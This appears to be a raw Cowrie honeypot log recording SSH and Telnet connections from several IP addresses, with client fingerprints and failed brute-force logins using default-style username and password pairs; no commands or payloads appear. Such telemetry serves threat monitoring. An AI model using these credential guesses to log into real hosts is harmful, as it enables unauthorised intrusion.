{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":33904,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d466df525b7","protocol":"ssh","message":"New connection: 162.223.91.130:33904 (10.17.0.5:22) [session: 3d466df525b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:20.348133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:20.353446Z","src_ip":"162.223.91.130","session":"3d466df525b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:20.373051Z","src_ip":"162.223.91.130","session":"3d466df525b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer","message":"login attempt [ubuntu/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:20.482472Z","src_ip":"162.223.91.130","session":"3d466df525b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:21.504136Z","src_ip":"162.223.91.130","session":"3d466df525b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41970,"dst_ip":"159.203.135.109","dst_port":22,"session":"555ba32aab37","protocol":"ssh","message":"New connection: 159.203.92.129:41970 (159.203.135.109:22) [session: 555ba32aab37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:25.250950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:25.255549Z","src_ip":"159.203.92.129","session":"555ba32aab37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:25.260299Z","src_ip":"159.203.92.129","session":"555ba32aab37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wLC_MsAU(c8hy2#1HX","message":"login attempt [ansible/wLC_MsAU(c8hy2#1HX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:25.273450Z","src_ip":"159.203.92.129","session":"555ba32aab37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:26.281063Z","src_ip":"159.203.92.129","session":"555ba32aab37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":48804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5c8cc3d1ce","protocol":"ssh","message":"New connection: 162.223.91.130:48804 (10.17.0.5:22) [session: ca5c8cc3d1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:57.570191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:57.574209Z","src_ip":"162.223.91.130","session":"ca5c8cc3d1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:57.593190Z","src_ip":"162.223.91.130","session":"ca5c8cc3d1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"postgres123","message":"login attempt [root/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:57.701726Z","src_ip":"162.223.91.130","session":"ca5c8cc3d1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:16:58.724107Z","src_ip":"162.223.91.130","session":"ca5c8cc3d1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":55316,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ad031271ff","protocol":"ssh","message":"New connection: 81.30.162.19:55316 (159.203.135.109:22) [session: 65ad031271ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:02.579833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:02.584702Z","src_ip":"81.30.162.19","session":"65ad031271ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:02.706539Z","src_ip":"81.30.162.19","session":"65ad031271ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123$%^","message":"login attempt [root/qwe123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:03.224475Z","src_ip":"81.30.162.19","session":"65ad031271ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:04.347490Z","src_ip":"81.30.162.19","session":"65ad031271ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52472,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b27aff704af","protocol":"ssh","message":"New connection: 159.203.92.129:52472 (159.203.135.109:22) [session: 9b27aff704af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:09.424955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:09.429095Z","src_ip":"159.203.92.129","session":"9b27aff704af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:09.433224Z","src_ip":"159.203.92.129","session":"9b27aff704af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wd123456","message":"login attempt [ansible/wd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:09.441573Z","src_ip":"159.203.92.129","session":"9b27aff704af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:10.446278Z","src_ip":"159.203.92.129","session":"9b27aff704af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":35464,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd63a0705ca2","protocol":"ssh","message":"New connection: 162.223.91.130:35464 (10.17.0.5:22) [session: dd63a0705ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:35.464620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:35.469597Z","src_ip":"162.223.91.130","session":"dd63a0705ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:35.488946Z","src_ip":"162.223.91.130","session":"dd63a0705ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer123","message":"login attempt [developer/developer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:35.598378Z","src_ip":"162.223.91.130","session":"dd63a0705ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:36.620280Z","src_ip":"162.223.91.130","session":"dd63a0705ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54068,"dst_ip":"159.203.135.109","dst_port":22,"session":"f11117b3498d","protocol":"ssh","message":"New connection: 159.203.92.129:54068 (159.203.135.109:22) [session: f11117b3498d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.456945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.461312Z","src_ip":"159.203.92.129","session":"f11117b3498d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.465561Z","src_ip":"159.203.92.129","session":"f11117b3498d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"web","message":"login attempt [ansible/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.476874Z","src_ip":"159.203.92.129","session":"f11117b3498d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":35653,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4bc69d34bbb","protocol":"ssh","message":"New connection: 81.30.162.19:35653 (159.203.135.109:22) [session: f4bc69d34bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.702373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.710587Z","src_ip":"81.30.162.19","session":"f4bc69d34bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:54.831985Z","src_ip":"81.30.162.19","session":"f4bc69d34bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"word","message":"login attempt [root/word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:55.332109Z","src_ip":"81.30.162.19","session":"f4bc69d34bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:55.482926Z","src_ip":"159.203.92.129","session":"f11117b3498d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:17:56.452325Z","src_ip":"81.30.162.19","session":"f4bc69d34bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.112.101","src_port":41258,"dst_ip":"10.17.0.5","dst_port":23,"session":"86db72758363","protocol":"telnet","message":"New connection: 177.185.112.101:41258 (10.17.0.5:23) [session: 86db72758363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:10.518974Z"}
